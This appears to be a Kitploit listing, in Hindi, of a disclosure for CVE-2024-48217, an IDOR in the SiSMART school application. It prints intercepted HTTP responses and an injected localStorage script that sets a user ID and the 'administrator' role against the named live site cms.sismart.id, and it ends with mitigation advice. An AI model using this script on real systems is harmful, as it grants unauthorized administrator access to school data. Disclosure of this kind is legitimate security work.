Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-48217 — CVE-2024-48217 Sismart भेद्यता | Kitploit
उपकरण/GitHubGitHub/ajrielrm/cve-2024-48217
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षा
GitHubajrielrm/cve-2024-48217

CVE-2024-48217

CVE-2024-48217 Sismart भेद्यता

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-48217 Sismart भेद्यता

CVE असाइन किया गया: CVE-2024-48217 mitre.org nvd.nist.org tenable.com

दिनांक:

5 सितंबर 2024

लेखक:

Ajriel Rizqy Maulana

सॉफ्टवेयर लिंक:

  • SiSMART (शिक्षा प्रक्रिया के सहायक स्मार्ट एप्लिकेशन) - 7.4.0
  • SiSMART (शिक्षा प्रक्रिया के सहायक स्मार्ट एप्लिकेशन) API

संस्करण:

7.4.0

भेद्यता:

IDOR - सत्र भंडारण के अंदर IDOR का अर्थ Insecure Direct Object Reference है, जो कि टूटे हुए पहुँच नियंत्रण श्रेणी के अंतर्गत आने वाली एक भेद्यता है। संक्षेप में, यह भेद्यता तब उत्पन्न होती है जब कोई एप्लिकेशन किसी वस्तु तक सीधे पहुँचने के लिए उपयोगकर्ता द्वारा प्रदान किए गए इनपुट का उपयोग करता है। असुरक्षित प्रत्यक्ष वस्तु संदर्भ भेद्यता का उपयोग करके क्षैतिज विशेषाधिकार वृद्धि प्राप्त करना संभव है और कुछ मामलों में यह ऊर्ध्वाधर विशेषाधिकार वृद्धि भी कर सकता है।

प्रभावित घटक:

https://cms.sismart.id/sekolah/ स्थानीय संग्रहण में sekolah_kode पैरामीटर। स्थानीय संग्रहण में user_id पैरामीटर। स्थानीय संग्रहण में user_level पैरामीटर।

विवरण:

सामान्य IDORs के विपरीत, सत्र भंडारण वाले IDORs स्वभाव में भिन्न होते हैं क्योंकि वे कभी-कभी स्थायी परिवर्तन नहीं करते, हालाँकि गंभीरता अभी भी समान रहती है।

पुनरुत्पादन के चरण:


  • चरण 1 - http://cms.sismart.id पर जाएँ
  • चरण 2 - HTTP प्रतिक्रिया को इंटरसेप्ट करें:

असंशोधित HTTP प्रतिक्रिया:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
  • चरण 3 - स्थानीय संग्रहण को संशोधित करने और /sekolah पर रीडायरेक्ट करने के लिए एक स्क्रिप्ट जोड़ें:
    • sekolah_kode को वांछित स्कूल कोड पर सेट करें।
    • user_id को वांछित व्यवस्थापक के उपयोगकर्ता आईडी पर सेट करें।
    • user_level को administrator पर सेट करें।
    • id_token को undefined पर सेट करें।
    • प्रतिक्रिया संपादित करें और उपरोक्त सभी को इस जावास्क्रिप्ट स्क्रिप्ट के साथ सेट करें :
    root@kitploit:~
    <script>
      localStorage.setItem('sekolah_kode', 'school_id');
      localStorage.setItem('user_id', '0000');
      localStorage.setItem('user_level', 'role (ex:administrator)');
      localStorage.setItem('id_token', 'undefined');
      window.location.href = '/sekolah';
    </script>
    

संशोधित HTTP प्रतिक्रिया:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
       localStorage.setItem('sekolah_kode', 'smkbnif');
    localStorage.setItem('user_id', '3301');
    localStorage.setItem('user_level', 'administrator');
    localStorage.setItem('id_token', 'undefined');
     window.location.href = '/sekolah';
</script>

</body></html>
  • चरण 4 - प्रतिक्रिया को आगे भेजें

प्रमाण की अवधारणा:

image

शमन:

एक पहुँच जाँच की जानी चाहिए, सभी संदर्भित वस्तुओं के सत्यापन को सुनिश्चित करते हुए। इसके अतिरिक्त, प्रमाणीकरण और प्राधिकरण जाँच लागू की जानी चाहिए। इसके अलावा, आईडी को अनुमान लगाने से रोकने के लिए अल्फ़ान्यूमेरिक प्रारूपों में परिवर्तित किया जाना चाहिए, उदाहरण के लिए uid का उपयोग करें।

संदर्भ

  • https://shahjerry33.medium.com/idor-inside-the-session-storage-88af485fc899
  • https://portswigger.net/web-security/access-control/idor
  • https://ridhomarhaban2000.medium.com/memahami-idor-insecure-direct-object-references-ab176af79cb1
  • https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
टूल डाउनलोड करें